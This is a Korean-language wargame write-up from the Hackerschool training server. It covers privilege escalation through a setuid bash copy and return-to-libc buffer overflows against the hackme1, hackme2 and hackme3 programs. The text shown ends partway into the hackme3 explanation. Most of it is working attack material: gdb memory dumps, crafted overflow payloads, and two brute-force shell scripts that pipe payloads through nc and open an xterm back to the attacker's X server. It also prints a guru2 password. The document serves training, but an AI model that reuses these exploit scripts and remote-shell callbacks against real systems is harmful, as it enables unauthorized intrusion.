             | |___   | |  | | | | |_| |  /

             |_____| |___| |_| |  __/  /_/

       ____    _____  __     __  _____   ____     _   _   _

      / ___|  | ____|   / / | ____| |  _   | | | | | |

      __  |  _|    / /  |  _|   | |_) |  | | | | | |

       ___) | | |___    V /   | |___  |  _ <   |_| |_| |_|

      |____/  |_____|    /    |_____| |_|  (_) (_) (_)

 

 * 주의 : D.o.S 공격을 시도하는 자는 관련 법에 의해 처벌 받습니다.

 

_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_

 

 

 

login: level3

Password:

Last login: Tue Feb 11 23:48:22 from 219.248.108.28

No directory /home/level3!

Logging in with home = "/".

bash: /home/level3/.bash_profile: Permission denied

 

- /home/level3를 접근할 수 없었다.

 

bash-2.05a$ cd /home/level3

bash: cd: /home/level3: Permission denied

 

bash-2.05a$ ls -ld /home/level3

dr-xr-x---    4 root     level2       4096 Feb  9 10:54 /home/level3

 

- level3 euid와 level2 gid 권한 획득

  level3 setuid된 /tmp/temp/loafers/bash를 생성하고

  level2 사용자로 전환하여 level2 uid와 level2 gid 상태에서

  /tmp/temp/loafers/bash를 실행하면 된다.

 

bash-2.05a$ id

uid=503(level3) gid=503(level3) groups=503(level3)

 

bash-2.05a$ mkdir /tmp/temp/loafers

bash-2.05a$ cp /bin/bash /tmp/temp/loafers

bash-2.05a$ chmod u+s /tmp/temp/loafers/bash

bash-2.05a$ ls -l /tmp/temp/loafers/bash

-rwsr-xr-x    1 level3   level3     541096 Feb 12 01:21 /tmp/temp/loafers/bash

 

bash-2.05a$ su level2

Password:

 

[level2@attack /]$  id

uid=502(level2) gid=502(level2) groups=502(level2)

[level2@attack /]$ /tmp/temp/loafers/bash -p

bash-2.05a$ id

uid=502(level2) gid=502(level2) euid=503(level3) groups=502(level2)

 

- /home/level3/힌트.txt 읽기

 

bash-2.05a$ cat /home/level3/*.txt

 

 guru1 계정의 힌트입니다.

 

 

 * 최초 통과자가 1 시간이 지나도록 나오지 않아 2 차 힌트를 드리겠습니다. *

 

 다음과 같이 소스를 수정하였습니다.

 

char buf[4];

 

printf("%p\n\n", system);

 

fgets(buf, 21, stdin);

 

 

 서버는 redhat 2.4.18 커널입니다.

 

 

 

 guru1 의 추가 힌트입니다.

 

 guru1 을 따내기 위해서는 Remote Overflow 기법에 대해서 이해하셔야 합니다.

 특히 guru1 문제는 Buffer 의 크기가 작습니다. 이를 극복하기 위해서는

 Return to library 기법, 즉 라마그라가 발표한 Omega Project 의 기법을

 응용하셔야 합니다.

 

 

 * 축하합니다! *

 * 레벨 1 서버의 모든 레벨을 통과하셨습니다.! *

 

 1. 두번째 서버의 주소는 attack2.hackerschool.org 입니다.

 2. 당신이 노려야 할 첫번째 문제는 Port 29444 입니다.

 3. 29444 의 공략에 성공하면 guru1 권한을 얻을 수 있습니다.

 4. 레벨 3 최초 통과자 이 후, 1 시간 이내로 guru1 진입자가 나오지

    않으면 힌트를 드립니다. 통과자가 나오더라도 2 시간 후에 힌트를

    드립니다.

 5. 아래는 29444 의 소스입니다.

 

 

 

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

char buf[4];

 

fgets(buf, 21, stdin);

 

if(buf[0] != 'o' || buf[1] != 'v' || buf[2] != 'e' ||

buf[3] != 'r' || buf[4] != 'f' || buf[5] != 'l' ||

buf[6] != 'o' || buf[7] != 'w')

{

 printf("당신은 인증된 사용자가 아닙니다.\n");

 exit(-1);

}

 

memset(buf+12, 0, 4);

 

if(buf[19]=='\x08' || buf[19]=='\x42' || buf[19]=='\x41' || buf[19] == '\x40')

{

 printf("Error\n");

 exit(-1);

}

 

}

 

bash-2.05a$

 

 

5.2.2 hackme1 공격 과정

 

o 준비

 

- attack2.hackerschool.org의 29444 포트 확인

 

[2 event3]# nmap attack2.hackerschool.org -p 29444

 

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on  (218.149.4.173):

Port       State       Service

29444/tcp  open        unknown

 

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

[2 event3]#

 

- attack2.hackerschool.org의 29444 포트 접속 테스트

 

[2 event3]# telnet attack2.hackerschool.org 29444

Trying 218.149.4.173...

Connected to attack2.hackerschool.org (218.149.4.173).

Escape character is '^]'.

xxx

0x8048388

 

당신은 인증된 사용자가 아닙니다.

Connection closed by foreign host.

[2 event3]#

 

o 공격방법

 

hackme1 프로그램 코드의 fgets(buf, 21, stdin)에서 읽어들이는 문자열의

길이는 21로서 이 입력을 통해 쉘코드를 넣는 것은 어렵다.

그러므로, omega project 기법을 사용하기로 한다.

buf 배열을 오버플로우시켜 main()함수의 리턴주소 부분을 수정시켜서

main() 함수가 리턴할 때 system("/bin/bash")를 호출하도록 조작한다.

 

o omega project

 

- system() 함수의 주소

 

공유 라이브러리 연결로 컴파일된 실행프로그램은 공유 라이브러리 주소영역

(0x40000000 ~ 0x42135000)에 C언어 라이브러리 함수들이 놓인다.

이 실행프로그램에서 사용하든 사용하지 않든지 관계없이 system(), gets(),

execl(),... 등 모든 C 라이브러리 함수가 이 공유 라이브러리 주소영역에

있다.

 

* hackme1 프로세스의 주소영역

 

[guru1@attack2 guru1]$ netstat -natup | grep hackme1

(Not all processes could be identified, non-owned process info

 will not be shown, you would have to be root to see it all.)

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address       Foreign Address      State       PID/Program name   

tcp      0      0 218.149.4.173:29444 203.253.146.161:4122 ESTABLISHED 18489/hackme1

 

[guru1@attack2 guru1]$ cat /proc/18489/maps

08048000-08049000 r-xp 00000000 03:02 474672     /home/guru1/hackme1

08049000-0804a000 rw-p 00000000 03:02 474672     /home/guru1/hackme1

40000000-40013000 r-xp 00000000 03:02 179223     /lib/ld-2.2.5.so

40013000-40014000 rw-p 00013000 03:02 179223     /lib/ld-2.2.5.so

40014000-40016000 rw-p 00000000 00:00 0

42000000-4212c000 r-xp 00000000 03:02 114068     /lib/i686/libc-2.2.5.so

4212c000-42131000 rw-p 0012c000 03:02 114068     /lib/i686/libc-2.2.5.so

42131000-42135000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0

 

위 출력중 ld-2.2.5.so가 공유 라이브러리이다.

 

* system() 코드의 위치

 

[guru1@attack2 guru1]$ gdb /home/guru1/hackme1

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break main

Breakpoint 1 at 0x8048506

(gdb) run

Starting program: /home/guru1/hackme1

/bin/bash: /root/.bashrc: Permission denied

 

Breakpoint 1, 0x08048506 in main ()

 

(gdb) print system

$1 = {<text variable, no debug info>} 0x42049e54 <system>

(gdb) print gets

$2 = {<text variable, no debug info>} 0x4206cc24 <gets>

 

(gdb) disassemble system

Dump of assembler code for function system:

0x42049e54 <system>:    push   %ebp

0x42049e55 <system+1>:  mov    %esp,%ebp

0x42049e57 <system+3>:  push   %edi

0x42049e58 <system+4>:  push   %esi

0x42049e59 <system+5>:  push   %ebx

0x42049e5a <system+6>:  sub    $0x2dc,%esp

0x42049e60 <system+12>: call   0x42049e50 <__strtold_l+48>

0x42049e65 <system+17>: add    $0xe64a7,%ebx

0x42049e6b <system+23>: mov    0x8(%ebp),%edx

0x42049e6e <system+26>: test   %edx,%edx

0x42049e70 <system+28>: je     0x4204a0b1 <system+605>

0x42049e76 <system+34>: movl   $0x0,0xffffffdc(%ebp)

0x42049e7d <system+41>: mov    $0x1,%eax

 

 

버퍼오버플로우를 일으켜 main()함수의 리턴주소를 system()의 시작주소로 바꿔놓으면

system()함수가 실행되게 된다.

 

 

- system("/bin/bash")에 사용될 문자열 "/bin/bash"는 어디에 있을까?

 

리눅스 실행 프로그램에는 "SHELL=/bin/bash"와 같은 형태의 쉘이름을

알려주는 환경변수가 스택영역 메모리에 있다.

 

[guru1@attack2 guru1]$ gdb /home/guru1/hackme1

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break main

Breakpoint 1 at 0x8048506

(gdb) run

Starting program: /home/guru1/hackme1

/bin/bash: /root/.bashrc: Permission denied

 

Breakpoint 1, 0x08048506 in main ()

 

(gdb) x/40s 0xbffffc00

0xbffffc00:      ""

0xbffffc01:      ""

0xbffffc02:      ""

0xbffffc03:      ""

0xbffffc04:      ""

0xbffffc05:      ""

0xbffffc06:      "i686"

0xbffffc0b:      "/home/guru1/hackme1"

0xbffffc1f:      "PWD=/home/guru1"

0xbffffc2f:      "WINDOWID=58720265"

0xbffffc41:      "LC_MESSAGES=en_US"

0xbffffc53:      "REMOTEHOST=218.149.4.156"

0xbffffc6c:      "HOSTNAME=attack2.hackerschool.org"

0xbffffc8e:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"

0xbffffcb0:      "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:

or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:

*.sh=01;32:*.csh=01"...

0xbffffd78:      ";32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;

31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3"...

0xbffffe40:      "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"

0xbffffe73:      "LC_TIME=en_US"

0xbffffe81:      "REMOTE_HOST=192.168.10.200"

0xbffffe9c:      "LC_ALL=en_US"

0xbffffea9:      "INPUTRC=/etc/inputrc"

0xbffffebe:      "BASH_ENV=/root/.bashrc"

0xbffffed5:      "LANG=en_US.iso885915"

0xbffffeea:      "LC_NUMERIC=en_US"

0xbfffff16:      "LOGNAME=root"

0xbfffff23:      "SHLVL=4"

0xbfffff2b:      "_=/bin/bash"

0xbfffff37:      "SHELL=/bin/bash"

0xbfffff47:      "HISTSIZE=1000"

0xbfffff55:      "TERM=xterm"

0xbfffff60:      "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass"

0xbfffff93:      "PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

0xbfffffc5:      "LC_MONETARY=en_US"

0xbfffffd7:      "LC_COLLATE=en_US"

---Type <return> to continue, or q <return> to quit---

0xbfffffe8:      "/home/guru1/hackme1"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""

(gdb) quit

 

- system("/bin/bash")의 실행과정 분석

 

다음과 같은 문자열을 fgets(buf, 21, stdin)의 입력으로 주면,

 

  overflow<system()함수의 주소 4바이트>xxxx<"/bin/bash"의 주소 4바이트>

 

buf[]배열은 오버플로우를 일으켜, main() 함수의 리턴주소 부분 스택 내용이

다음과 같이 설정된다.

 

  0xbfffff55:      "TERM=xterm"

  0xbfffff47:      "HISTSIZE=1000"

  0xbfffff37:      "SHELL=/bin/bash"     <----------------+

  0xbfffff2b:      "_=/bin/bash"                          |

  0xbfffff16:      "LOGNAME=root"                         |

  0xbfffff23:      "SHLVL=4"                              |

                                                          |

  0xbffffea8 :  ebp + 20 : envp                           |

  0xbffffea4 :  ebp + 16 : argv       : buf + 16  : "/bin/bash"의 주소

  0xbffffea0 :  ebp + 12 : argc       : buf + 12  : "xxxx"

  0xbffffeac :  ebp +  8 : 리턴주소   : buf +  8  : system()함수의 주소

  0xbffffea8 :  ebp +  0 : saved ebp  : buf +  4  : "flow"|

  0xbffffea4 :  ebp -  4 : buf        : buf +  0  : "over"|

                                                          |

  0x42049e54 <system>:    push   %ebp         <-----------+

  0x42049e55 <system+1>:  mov    %esp,%ebp

  0x42049e57 <system+3>:  push   %edi

  0x42049e58 <system+4>:  push   %esi

  0x42049e59 <system+5>:  push   %ebx

  0x42049e5a <system+6>:  sub    $0x2dc,%esp

  0x42049e60 <system+12>: call   0x42049e50 <__strtold_l+48>

  0x42049e65 <system+17>: add    $0xe64a7,%ebx

  0x42049e6b <system+23>: mov    0x8(%ebp),%edx

 

main()함수가 리턴될 때 다음 코드를 실행한다.

 

  mov ebp, esp          ; esp = 0xbffffea8

  pop ebp               ; ebp = *esp;  esp += 4

  ret                   ; eip = *esp = 0x42049e54(system() 함수의 주소)

                        ; esp += 4

 

ret 코드에 의해 프로그램은 system() 함수의 시작위치로 이동한다.

system() 함수가 실행될 때 esp는 buf + 12의 주소를 가리킨다.

이 주소의 값이 system()의 리턴주소로 사용된다.

buf + 16 위치의 값은 system() 함수의 첫번째 매개변수로서 사용된다.

 

system()함수가 실행될 때의 스택 프레임은 다음과 같게 된다.

 

  0xbffffea4 :  ebp + 8 : 매개변수1 : buf + 16 : "/bin/bash"의 주소

  0xbffffea0 :  ebp + 4 : 리턴주소  : buf + 12 : "xxxx"

  0xbffffe98 :  ebp + 0 : saved ebp

  0xbffffe94 :            system()함수의 지역변수 공간

 

이것은 system("/bin/bash")와 같이 호출을 했을 때와 같다.

 

 

o attack2.hackerschool.org의 29444 포트의 hackme1 공격

 

- system() 함수의 주소 = 0x8048388

  힌트로 주어졌다.

 

[2 event3]# telnet attack2.hackerschool.org 29444

Trying 218.149.4.173...

Connected to attack2.hackerschool.org (218.149.4.173).

Escape character is '^]'.

xxx

0x8048388  <--- 이것이 system()함수의 주소이다.

 

당신은 인증된 사용자가 아닙니다.

Connection closed by foreign host.

[2 event3]#

 

- "/bin/bash"의 주소

  hackme1 프로세스의 스택 어딘가에 "SHELL=/bin/bash" 형태로 있을 것이다.

  하지만 그 주소를 정확히 알 수 없다.

  이 주소를 0xbffffa00 ~ 0xbfffffff 범위에서 하나씩 대입해여 검색한다.

 

- fgets()의 입력문자열

 

  overflow<system()함수의 주소 4바이트>xxxx<"/bin/bash"의 주소 4바이트>

 

  "overflow\x88\x83\x04\x08xxxx\x12\xff\xff\xbf"

 

- 공격 코드: attack-guru1.sh

------------------------------------------------------------------------

#!/bin/sh

# 0xbffffa00 ~ 0xbfff

for i in $(seq 250 1 255); do

  hi=$(printf "%02x" $i)

  for j in $(seq 10 1 255); do

    low=$(printf "%02x" $j)

    echo "shell address = 0xbfff$hi$low"

    (echo -ne "overflow\x88\x83\x04\x08xxxx\x${low}\x${hi}\xff\xbf"; \

     sleep 1;

     echo "echo '#H4SC30267'|/bin/register";

     echo "/usr/X11R6/bin/xterm -display 192.168.1.1:0") \

             | nc attack2.hackerschool.org 29444

  done

done

------------------------------------------------------------------------

 

attack-guru1.sh은 hackme1을 공격하여 192.168.1.1 X 서버에 X 터미널을

띄운다.

 

- 공격 결과

 

[5 event3]# ./attack-guru1.sh

shell address = 0xbffffa00

shell address = 0xbffffa01

sh: ? command not found

shell address = 0xbffffa02

shell address = 0xbffffa03

sh: B: command not found

shell address = 0xbffffa04

shell address = 0xbffffa05

shell address = 0xbffffa06

 

shell address = 0xbffffa11

sh: -c: line 1: syntax error near unexpected token `;'

sh: -c: line 1: `;@'

shell address = 0xbffffa12

sh: @: command not found

shell address = 0xbffffa1c

sh: i686: command not found

shell address = 0xbffffa1d

sh: 686: command not found

shell address = 0xbffffa1e

sh: 86: command not found

shell address = 0xbffffa1f

sh: 6: command not found

shell address = 0xbffffa20

 

sh: low: command not found

shell address = 0xbffffaee

sh: ow: command not found

shell address = 0xbffffaef

  2:55am  up 3 days, 21:34,  3 users,  load average: 0.00, 0.04, 0.00

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT

root     pts/1    218.144.58.86     2:59pm  1:10   0.38s  0.38s  -bash

guru2    pts/2    211.211.34.69     1:11am  1:54   1.41s  1.41s  -bash

guru1    pts/3    -                 1:37am  1:10   0.17s  0.17s  bash

shell address = 0xbffffaf0

 

shell address = 0xbfffff00

sh: oot: command not found

shell address = 0xbfffff01

sh: ot: command not found

shell address = 0xbfffff02

sh: t: command not found

shell address = 0xbfffff03

shell address = 0xbfffff04

shell address = 0xbfffff05

shell address = 0xbfffff06

shell address = 0xbfffff07

shell address = 0xbfffff08

shell address = 0xbfffff09

sh: =2: command not found

shell address = 0xbfffff0a

shell address = 0xbfffff0b

shell address = 0xbfffff0c

shell address = 0xbfffff0d

shell address = 0xbfffff0e

shell address = 0xbfffff0f

shell address = 0xbfffff10

shell address = 0xbfffff11

sh: =/bin/bash: No such file or directory

                                                "/bin/bash"의 주소 = 0xbfffff12

shell address = 0xbfffff12                  <-- 이 부분에서 공격이 성공했다!

/bin/bash: /root/.bashrc: Permission denied     X 터미널이 loafers의 화면에 떴다!

등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

 

shell address = 0xbfffff13

bin/bash: /root/.bashrc: Permission denied

등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

shell address = 0xbfffff14

sh: in/bash: No such file or directory

shell address = 0xbfffff15

sh: n/bash: No such file or directory

shell address = 0xbfffff16

sh: /bash: No such file or directory

shell address = 0xbfffff17

bash: /root/.bashrc: Permission denied

등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

shell address = 0xbfffff18

등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

shell address = 0xbfffff19

등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

shell address = 0xbfffff1a

sh: h: command not found

shell address = 0xbfffff1b

shell address = 0xbfffff1c

shell address = 0xbfffff1d

shell address = 0xbfffff1e

shell address = 0xbfffff1f

 

 

===========================================================================

6 guru2 획득

 

6.1 문제 설명

 

o /home/guru2/hackme2의 프로그램 소스

 

[guru1@attack2 guru1]$ cat /home/guru1/guru2-hint.txt

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

 

#define MYPORT 29544

 

#define BACKLOG 10

 

extern char **environ;

char imsi[100];

 

void function(char *str)

{

char buf[4];

strncpy(buf, str, 20);

printf("%s\n", buf);

 

memset(buf, 0, 8);

memset(buf+12, 0, 4);

memset(imsi, 0, 100);

 

if(buf[19]=='\x40' || buf[19]=='\x08' || buf[19]=='\x41' || buf[19]=='\x42')

{

printf("Error\n");

exit(-1);

}

 

}

 

main()

{

int sockfd, new_fd;

struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

int sin_size;

int recv_size, egghunter;

 

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

perror("socket");

exit(1);

}

 

my_addr.sin_family = AF_INET;

my_addr.sin_port = htons(MYPORT);

my_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(my_addr.sin_zero), 8);

 

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \

== -1) {

perror("bind");

exit(1);

}

 

if (listen(sockfd, BACKLOG) == -1) {

perror("listen");

exit(1);

}

 

while(1) {

sin_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \

&sin_size)) == -1) {

perror("accept");

continue;

}

 

printf("%s connected!\n", \

inet_ntoa(their_addr.sin_addr));

 

if (!fork()) {

if (send(new_fd, "Yeah~!\n", 7, 0) == -1)

perror("send");

if ((recv_size=recv(new_fd, imsi, 20, 0)) == -1) {

perror("recv");

exit(1);

}

 

dup2(new_fd, 0);

dup2(new_fd, 1);

dup2(new_fd, 2);

 

for(egghunter=0; environ[egghunter]; egghunter++)

memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

function(imsi);

close(new_fd);

exit(0);

}

 

close(new_fd);

 

while(waitpid(-1,NULL,WNOHANG) > 0);

}

}

--------------------------------------------------------------------------

 

hackme2는 attack2.hackerschool.org의 29544 포트에 설치된 프로그램이다.

hackme2는 recv(new_fd, imsi, 20, 0)로 클라이언트로부터 20 바이트를 읽어들이고,

이 문자열을 function(imsi)호출로 전달한다. function()의 4바이트 크기의 buf

배열에 문자열을 복사하는데 이 부분에서 버퍼오버플로우가 발생할 수 있다.

 

    void function(char *str)

    {

    char buf[4];

    strncpy(buf, str, 20);

    ...

    }

 

    main()

    {

    ...

    if ((recv_size=recv(new_fd, imsi, 20, 0)) == -1) {

    ...

    function(imsi);

    }

 

이 문제는 hackme1과 같은 종류의 문제이다.

다만 다음 코드에 의해 환경변수를 모두 지워버리므로,

 

    for(egghunter=0; environ[egghunter]; egghunter++)

       memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

"/bin/sh" 문자열을 다른 곳에서 찾아내야 한다.

 

6.2 공격 과정

 

o system() 함수의 주소 = 0x42049e54

 

/home/guru2/hackme2에서의 system() 주소와 /home/guru1/hackme1의

system() 주소는 서로 같을 것이다.

 

[guru1@attack2 guru1]$ gdb /home/guru1/hackme1

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break main

Breakpoint 1 at 0x8048506

(gdb) run

Starting program: /home/guru1/hackme1

/bin/bash: /root/.bashrc: Permission denied

 

Breakpoint 1, 0x08048506 in main ()

 

(gdb) print system

$1 = {<text variable, no debug info>} 0x42049e54 <system>

 

o "sh" 문자열 주소

 

"/bin/sh" 대신 "sh"를 사용해서 system("sh")를 실행해도 "/bin/sh"가

실행된다. "/bin"은 PATH에 기본으로 등록되어 있기 때문이다.

 

"sh"는 스택의 어디에 있을까?

 

"sh\0"은 "\x73\x68\x00"과 같다.

이 코드는 /home/guru2/hackme2 프로세스의 0xbffffb32 위치에 있다.

 

[guru2@attack2 guru2]$ gdb

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

(gdb) attach 11910

Attaching to process 11910

Reading symbols from /home/guru2/hackme2...done.

Reading symbols from /lib/i686/libc.so.6...done.

Loaded symbols for /lib/i686/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

0x420e7fc2 in accept () from /lib/i686/libc.so.6

 

(gdb) x/10bx 0xbffffb32

0xbffffb32:  0x73       0x68    0x00    0x00    0x00    0x00    0x00    0x00

0xbffffb3a:  0x00       0x00

 

(gdb) x/s 0xbffffb32

0xbffffb32:   "sh"

 

(gdb) quit

The program is running.  Quit anyway (and detach it)? (y or n) y

Detaching from program: /home/guru2/hackme2, process 11910

[guru2@attack2 guru2]$

 

0xbffffb32 위치는 struct sockaddr_in my_addr; 변수의 주소영역으로서,

서버쪽의 socket의 포트번호를 나타낸다.

이 값은 다음 코드에 의해 씌여졌다.

 

   if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \

 

0x7368은 서버의 포트번호 29544였다!

 

   #define MYPORT 29544

 

[3 event3]# printf "%d\n" 0x7368

29544

 

struct sockaddr에서 포트번호 2바이트는 BIG ENDIAN 방식으로 저장되는 것 같다.

 

만약 서버 포트가 0x7368("sh")가 아니었다면 어떻게 hackme2 프로세스 스택에

"\x73\x68\x00"을 저장할 수 있을까?

 

답은 클라이언트 쪽의 소켓을 29544로 맞추면 된다. 클라이언트쪽의 포트번호는

their_addr 지역변수에 저장된다.

 

  struct sockaddr_in their_addr;

 

  if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \

 

 

정리하면 서버포트 번호인 29544 값이 "sh"문자열에 해당하는 값인데,

이 값이 저장된 주소는 알길이 없으므로 추측에 맞겨야한다.

 

o 공격 코드: attack-guru2.sh

 

--------------------------------------------------------------------------

#!/bin/sh

# 0xbffffb00 ~ 0xbffffff 주소를 스캔

 

for i in $(seq 251 1 255); do

  hi=$(printf "%02x" $i)

  for j in $(seq 0 1 255); do

    low=$(printf "%02x" $j)

    echo "shell address = 0xbfff$hi$low"

    (echo -ne "overflow\x54\x9e\x04\x42xxxx\x${low}\x${hi}\xff\xbf"; \

     sleep 1;

     echo "echo '#H4SC30267'|/bin/register";

     echo "/usr/X11R6/bin/xterm -display 192.168.1.1:0") \

             | nc attack2.hackerschool.org 29544

  done

done

--------------------------------------------------------------------------

 

o 공격 결과

 

[3 event3]# ./attack-guru2.sh

shell address = 0xbffffb00

Yeah~!

overflowTBxxxx

shell address = 0xbffffb01

Yeah~!

overflowTBxxxx??shell address = 0xbffffb02

Yeah~!

overflowTBxxxx??shell address = 0xbffffb03

Yeah~!

overflowTBxxxx??shell address = 0xbffffb04

Yeah~!

overflowTBxxxx??sh: ?? command not found

shell address = 0xbffffb05

Yeah~!

overflowTBxxxx??sh: ?? command not found

shell address = 0xbffffb06

Yeah~!

overflowTBxxxx??sh: �? command not found

shell address = 0xbffffb07

Yeah~!

overflowTBxxxx??sh: ? command not found

shell address = 0xbffffb08

Yeah~!

overflowTBxxx??sh: : command not found

shell address = 0xbffffb09

Yeah~!

 

shell address = 0xbffffb23

Yeah~!

overflowTBxxxx#??sh: h쮃xa짧C? command not found

shell address = 0xbffffb24

Yeah~!

overflowTBxxxx$??sh: 쮃xa짧C? command not found

shell address = 0xbffffb25

Yeah~!

overflowTBxxxx%??sh: Uxa짧C? command not found

shell address = 0xbffffb26

Yeah~!

overflowTBxxxx&??sh: Uxa짧C? command not found

shell address = 0xbffffb27

Yeah~!

overflowTBxxxx'??sh: xa짧C? command not found

shell address = 0xbffffb28

Yeah~!

overflowTBxxxx(??sh: a짧C? command not found

shell address = 0xbffffb29

Yeah~!

overflowTBxxxx)??sh: a짧C? command not found

shell address = 0xbffffb2a

Yeah~!

overflowTBxxxx*??sh: a짧C? command not found

shell address = 0xbffffb2b

Yeah~!

overflowTBxxxx+??sh: 짧C? command not found

shell address = 0xbffffb2c

Yeah~!

overflowTBxxxx,??sh: 찪? command not found

shell address = 0xbffffb2d

Yeah~!

overflowTBxxxx-??sh: C? command not found

shell address = 0xbffffb2e

Yeah~!

overflowTBxxxx.??sh: ? command not found

shell address = 0xbffffb2f

Yeah~!

overflowTBxxxx/??sh: ? command not found

shell address = 0xbffffb30

Yeah~!

overflowTBxxxx0??sh: : command not found

shell address = 0xbffffb31

Yeah~!

overflowTBxxxx1??shell address = 0xbffffb32

Yeah~!

overflowTBxxxx2??등록 번호를 입력하세요 : 정보가 성공적으로 기록되었습니다.

 

이 시점에서 공격이 성공하여 X 터미널이 loafers의 모니터에 나타났다.

 

o guru2의 패스워드

 

[guru2@attack2 guru2]$ cat /home/guru2/guru2_password

패스워드는 "rhrnakdhkrkawk(고구마와감자)" 입니다.

 

===========================================================================

7 guru3 획득

 

7.1 문제 설명

 

guru3 setuid 프로그램인 /home/guru3/hackme3를 공격하여 guru3 권한을 획득하는

문제이다.

 

o 힌트: /home/guru3/hackme3의 소스프로그램

 

[guru2@attack2 guru2]$ cd /home/guru3/

 

[guru2@attack2 guru3]$ ls -l

total 28

-rwsr-x---    1 guru3    guru2       14373 Feb  8 06:07 hackme3

-rw-r-----    1 root     guru2         486 Feb  9 21:03 hint-guru3.txt

-rwxr-----    1 root     guru3        2984 Feb  8 07:24 hint-guru4.txt

d-wx-wx-wt    9 guru3    guru3        4096 Feb 12 03:35 tmp

 

[guru2@attack2 guru3]$ cat hint-guru3.txt

extern char **environ;

int egghunter;

 

int main(int argc, char *argv[])

{

 char buf[4];

 

 if(argc != 2)

 {

  printf("Ex) %s Code\n", argv[0]);

  exit(-1);

 }

 

 if(strlen(argv[1]) > 12 || strlen(argv[0]) > 3)

 {

  printf("Read Code\n");

  exit(-1);

 }

 

 for(egghunter=0; environ[egghunter]; egghunter++)

  memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

 strncpy(buf, argv[1], 12);

 

 memset(buf, 0, 4);

 

 if(buf[11]=='\xbf')

 {

  printf("Can't Access\n");

  exit(-1);

 }

 

}

[guru2@attack2 guru3]$

 

 

o hackme3 프로그램의 특징

 

  - 버퍼 오버플로우 허점을 지녔다.

 

    char buf[4];

    strncpy(buf, argv[1], 12);

 

  - 프로그램 매개변수는 2개이다.

 

    if(argc != 2)

    {

     printf("Ex) %s Code\n", argv[0]);

     exit(-1);

    }

 

  - 환경변수를 지운다.

 

    for(egghunter=0; environ[egghunter]; egghunter++)

     memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

  - 리턴주소가 스택영역으로 설정되는 것을 방해한다.

 

     if(buf[11]=='\xbf')

     {

      printf("Can't Access\n");

      exit(-1);

     }

 

 

7.2 공격 과정

 

o 공격 방법

 

/bin/bash를 실행시키는 ./s 프로그램을 생성한 후,

 

buf[]에 버퍼오버플로우를 일으켜 execl("./s", argv[1], NULL)을 실행시킨다.

 

 

/home/guru3/hackme3를 실행할 때 프로그램 매개변수를 다음과 같이 설정한다.

 

      argv[0] = "./s"

      argv[1] = "----<faked ebp><execl()주소 + 3>

 

      faked ebp = &argv[0] - 8

 

버퍼 오버플로우에 의한 hackme3의 실행은 다음과 같이 변한다.

여기서, xxxx는 execl() 주소 + 3, yyyy는 &argv[0] - 8이다.

 

